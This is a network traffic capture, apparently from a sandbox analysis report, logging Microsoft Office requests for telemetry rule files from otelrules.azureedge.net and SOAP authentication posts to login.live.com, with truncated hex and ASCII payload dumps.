2024-10-29 17:42:39 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: d9e5b04b-c01e-0066-80fb-27a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-r197bdfb6b4bs5qf58wn14wgm000000005v000000000fc36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:39 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cdf7bdf1-501e-0029-3f94-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174239Z-17c5cb586f6w4mfs5xcmnrny6n00000008k000000000awk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:39 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49832	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 17:42:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 17:42:40 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 17:41:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: fbba2fd7-35dd-4175-ba43-bc18a11eca83 PPServer: PPV: 30 H: SN1PEPF0002FA8C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 17:42:39 GMT Connection: close Content-Length: 1276
2024-10-29 17:42:40 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4412bc79-a01e-0084-7102-299ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-r197bdfb6b4hsj5bywyqk9r2xw00000008ag000000007zsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-16849878b782d4lwcu6h6gmxnw00000006cg00000000zk3f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:40 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-16849878b78x6gn56mgecg60qc00000008r0000000007zgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: de20d122-c01e-008e-20f7-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-r197bdfb6b4bs5qf58wn14wgm000000005u000000000ga28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e4dfd9e9-c01e-00ad-24f5-24a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-15b8d89586f8l5961kfst8fpb00000000hm0000000007sfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:40 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174240Z-16849878b78q9m8bqvwuva4svc00000005fg000000001fcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49843	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 17:42:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 17:42:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 17:41:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 56489cad-7cfd-40d3-8169-3cb41a240dde PPServer: PPV: 30 H: SN1PEPF0002FAA7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 17:42:41 GMT Connection: close Content-Length: 1276
